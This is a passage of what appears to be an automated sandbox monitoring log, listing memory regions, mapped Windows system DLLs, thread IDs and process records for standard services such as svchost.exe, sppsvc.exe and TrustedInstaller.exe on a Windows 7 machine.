"c:\\windows\\system32\\sechost.dll") Region: id = 5450 start_va = 0x7fefeba0000 end_va = 0x7fefed17fff monitored = 0 entry_point = 0x7fefeba10e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 5451 start_va = 0x7fefed40000 end_va = 0x7fefee69fff monitored = 0 entry_point = 0x7fefed410d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 5452 start_va = 0x7fefee70000 end_va = 0x7feff0c8fff monitored = 0 entry_point = 0x7fefee71340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 5453 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5454 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5455 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 5456 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 5457 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 5458 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 5459 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 5460 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 5461 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 5462 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 5463 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 5464 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5465 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 5466 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 5467 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 5468 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 5469 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 5470 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 421 os_tid = 0x688 Thread: id = 422 os_tid = 0x640 Thread: id = 423 os_tid = 0x63c Thread: id = 424 os_tid = 0x634 Thread: id = 425 os_tid = 0x624 Thread: id = 426 os_tid = 0x620 Thread: id = 427 os_tid = 0x608 Thread: id = 428 os_tid = 0x5f4 Thread: id = 429 os_tid = 0x5e4 Thread: id = 430 os_tid = 0x5e0 Thread: id = 431 os_tid = 0x5d8 Thread: id = 432 os_tid = 0x5d4 Thread: id = 433 os_tid = 0x5d0 Thread: id = 434 os_tid = 0x5c8 Process: id = "22" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5529f000" os_pid = "0x22c" os_integrity_level = "0x4000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceAndNoImpersonation" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\FDResPub" [0xa], "NT SERVICE\\FontCache" [0xa], "NT SERVICE\\Mcx2Svc" [0xa], "NT SERVICE\\QWAVE" [0xa], "NT SERVICE\\SCardSvr" [0xa], "NT SERVICE\\SensrSvc" [0xa], "NT SERVICE\\SSDPSRV" [0xe], "NT SERVICE\\TBS" [0xa], "NT SERVICE\\upnphost" [0xa], "NT SERVICE\\wcncsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:000323bc" [0xc000000f], "LOCAL" [0x7] Thread: id = 435 os_tid = 0x880 Thread: id = 436 os_tid = 0x868 Thread: id = 437 os_tid = 0x840 Thread: id = 438 os_tid = 0x828 Thread: id = 439 os_tid = 0x824 Thread: id = 440 os_tid = 0x540 Thread: id = 441 os_tid = 0x574 Thread: id = 442 os_tid = 0x56c Thread: id = 443 os_tid = 0x548 Process: id = "23" image_name = "sppsvc.exe" filename = "c:\\windows\\system32\\sppsvc.exe" page_root = "0x50db2000" os_pid = "0x888" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\system32\\sppsvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\sppsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:00038011" [0xc000000f], "LOCAL" [0x7] Thread: id = 444 os_tid = 0x8cc Thread: id = 445 os_tid = 0x898 Thread: id = 446 os_tid = 0x890 Thread: id = 447 os_tid = 0x88c Process: id = "24" image_name = "trustedinstaller.exe" filename = "c:\\windows\\servicing\\trustedinstaller.exe" page_root = "0xa8f9000" os_pid = "0xd7c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\TrustedInstaller" [0xe], "NT AUTHORITY\\Logon Session 00000000:000678a1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 3581 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3582 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3583 start_va = 0x1d0000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3584 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3585 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3586 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3587 start_va = 0xff7f0000 end_va = 0xff822fff monitored = 0 entry_point = 0xff81d914 region_type = mapped_file name = "trustedinstaller.exe" filename = "\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe") Region: id = 3588 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3589 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3590 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3591 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3968 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3969 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3970 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3971 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3972 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3973 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3974 start_va = 0x150000 end_va = 0x1b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3975 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3976 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3977 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3978 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3979 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3980 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3981 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3982 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3983 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3984 start_va = 0x250000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3985 start_va = 0x250000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3986 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3987 start_va = 0x350000 end_va = 0x378fff monitored = 0 entry_point = 0x351010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3988 start_va = 0x3e0000 end_va = 0x567fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 3989 start_va = 0x350000 end_va = 0x378fff monitored = 0 entry_point = 0x351010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3990 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3991 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3992 start_va = 0x570000 end_va = 0x6f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 3993 start_va = 0x700000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 3994 start_va = 0x20000 end_va = 0x21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trustedinstaller.exe.mui" filename = "\\Windows\\servicing\\en-US\\TrustedInstaller.exe.mui" (normalized: "c:\\windows\\servicing\\en-us\\trustedinstaller.exe.mui") Region: id = 3995 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 3996 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3997 start_va = 0x830000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 3998 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3999 start_va = 0x8c0000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 4000 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 4001 start_va = 0xa70000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 4002 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 4023 start_va = 0x7fef4bb0000 end_va = 0x7fef4bf6fff monitored = 0 entry_point = 0x7fef4bb1040 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 4024 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4025 start_va = 0x7fefddf0000 end_va = 0x7fefeb77fff monitored = 0 entry_point = 0x7fefde6cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 4026 start_va = 0x7fefd5d0000 end_va = 0x7fefd640fff monitored = 0 entry_point = 0x7fefd5e1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4027 start_va = 0xaf0000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 4047 start_va = 0x7fef0580000 end_va = 0x7fef06a4fff monitored = 0 entry_point = 0x7fef05d1570 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 4072 start_va = 0xc50000 end_va = 0xe4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 4073 start_va = 0x350000 end_va = 0x357fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 4074 start_va = 0x940000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 4075 start_va = 0x9c0000 end_va = 0xa3cfff monitored = 0 entry_point = 0x9ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4076 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 4095 start_va = 0x9c0000 end_va = 0xa3cfff monitored = 0 entry_point = 0x9ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4096 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4337 start_va = 0xb10000 end_va = 0xb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 4338 start_va = 0xc40000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 4339 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 4340 start_va = 0x7fef1860000 end_va = 0x7fef1952fff monitored = 0 entry_point = 0x7fef193d024 region_type = mapped_file name = "cbscore.dll" filename = "\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_6.1.7601.17514_none_678566b7ddea04a5\\CbsCore.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_6.1.7601.17514_none_678566b7ddea04a5\\cbscore.dll") Region: id = 4367 start_va = 0x7fefbf70000 end_va = 0x7fefbf7bfff monitored = 0 entry_point = 0x7fefbf71064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4368 start_va = 0x7fefcf70000 end_va = 0x7fefd0dcfff monitored = 0 entry_point = 0x7fefcf710b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 4369 start_va = 0x7fefce50000 end_va = 0x7fefce5efff monitored = 0 entry_point = 0x7fefce51020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 4370 start_va = 0x7fefcf30000 end_va = 0x7fefcf6afff monitored = 0 entry_point = 0x7fefcf31324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 4371 start_va = 0x7fefc150000 end_va = 0x7fefc16dfff monitored = 0 entry_point = 0x7fefc1513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4372 start_va = 0x7fefcdb0000 end_va = 0x7fefcdbefff monitored = 0 entry_point = 0x7fefcdb19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4373 start_va = 0x7fefa090000 end_va = 0x7fefa099fff monitored = 0 entry_point = 0x7fefa09260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4374 start_va = 0xe50000 end_va = 0x111efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4375 start_va = 0x360000 end_va = 0x366fff monitored = 0 entry_point = 0x3615a0 region_type = mapped_file name = "cbsmsg.dll" filename = "\\Windows\\servicing\\CbsMsg.dll" (normalized: "c:\\windows\\servicing\\cbsmsg.dll") Region: id = 4409 start_va = 0x7fef19f0000 end_va = 0x7fef1a54fff monitored = 0 entry_point = 0x7fef1a30bb8 region_type = mapped_file name = "dpx.dll" filename = "\\Windows\\System32\\dpx.dll" (normalized: "c:\\windows\\system32\\dpx.dll") Region: id = 4420 start_va = 0x7fef86e0000 end_va = 0x7fef8744fff monitored = 0 entry_point = 0x7fef8720bb8 region_type = mapped_file name = "dpx.dll" filename = "\\Windows\\System32\\dpx.dll" (normalized: "c:\\windows\\system32\\dpx.dll") Region: id = 4421 start_va = 0x7fef19f0000 end_va = 0x7fef1a54fff monitored = 0 entry_point = 0x7fef1a30bb8 region_type = mapped_file name = "dpx.dll" filename = "\\Windows\\System32\\dpx.dll" (normalized: "c:\\windows\\system32\\dpx.dll") Region: id = 4422 start_va = 0x7fef15b0000 end_va = 0x7fef1855fff monitored = 0 entry_point = 0x7fef181e914 region_type = mapped_file name = "wcp.dll" filename = "\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_6.1.7601.17514_none_678566b7ddea04a5\\wcp.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_6.1.7601.17514_none_678566b7ddea04a5\\wcp.dll") Region: id = 5259 start_va = 0x7fef2020000 end_va = 0x7fef2054fff monitored = 0 entry_point = 0x7fef204cb1c region_type = mapped_file name = "drupdate.dll" filename = "\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_6.1.7601.17514_none_678566b7ddea04a5\\DrUpdate.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_6.1.7601.17514_none_678566b7ddea04a5\\drupdate.dll") Region: id = 5271 start_va = 0x7fefd7c0000 end_va = 0x7fefd996fff monitored = 0 entry_point = 0x7fefd7c1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 5272 start_va = 0x7fefced0000 end_va = 0x7fefcf05fff monitored = 0 entry_point = 0x7fefced1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 5273 start_va = 0x7fefcf10000 end_va = 0x7fefcf29fff monitored = 0 entry_point = 0x7fefcf11558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 5274 start_va = 0x7fefa610000 end_va = 0x7fefa627fff monitored = 0 entry_point = 0x7fefa611010 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 5482 start_va = 0x370000 end_va = 0x37cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 5483 start_va = 0x7fef79e0000 end_va = 0x7fef79effff monitored = 0 entry_point = 0x7fef79ea654 region_type = mapped_file name = "srclient.dll" filename = "\\Windows\\System32\\srclient.dll" (normalized: "c:\\windows\\system32\\srclient.dll") Region: id = 5488 start_va = 0x7fef19b0000 end_va = 0x7fef19eefff monitored = 0 entry_point = 0x7fef19e1724 region_type = mapped_file name = "spp.dll" filename = "\\Windows\\System32\\spp.dll" (normalized: "c:\\windows\\system32\\spp.dll") Region: id = 5492 start_va = 0x7fef4fa0000 end_va = 0x7fef514ffff monitored = 0 entry_point = 0x7fef4fa1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 5493 start_va = 0x7fefa980000 end_va = 0x7fefa998fff monitored = 0 entry_point = 0x7fefa9811a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 5494 start_va = 0x7fef4f80000 end_va = 0x7fef4f96fff monitored = 0 entry_point = 0x7fef4f81060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 5495 start_va = 0x7fef77e0000 end_va = 0x7fef77f2fff monitored = 0 entry_point = 0x7fef77ed490 region_type = mapped_file name = "wrpint.dll" filename = "\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_6.1.7601.17514_none_678566b7ddea04a5\\wrpint.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_6.1.7601.17514_none_678566b7ddea04a5\\wrpint.dll") Region: id = 5497 start_va = 0x7fef7890000 end_va = 0x7fef789bfff monitored = 0 entry_point = 0x7fef78951e8 region_type = mapped_file name = "sxsstore.dll" filename = "\\Windows\\System32\\sxsstore.dll" (normalized: "c:\\windows\\system32\\sxsstore.dll") Region: id = 5514 start_va = 0x7fef4c00000 end_va = 0x7fef4c41fff monitored = 0 entry_point = 0x7fef4c017e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 5515 start_va = 0x7fef4e70000 end_va = 0x7fef4ee0fff monitored = 0 entry_point = 0x7fef4e71010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 5516 start_va = 0x7fef4e00000 end_va = 0x7fef4e63fff monitored = 0 entry_point = 0x7fef4e01254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 5517 start_va = 0x7fef4e70000 end_va = 0x7fef4ee0fff monitored = 0 entry_point = 0x7fef4e71010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 5518 start_va = 0x7fef4e00000 end_va = 0x7fef4e63fff monitored = 0 entry_point = 0x7fef4e01254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 5519 start_va = 0x7fef77d0000 end_va = 0x7fef77d8fff monitored = 0 entry_point = 0x7fef77d14b4 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 5523 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5539 start_va = 0x940000 end_va = 0x9bffff monitored = 1 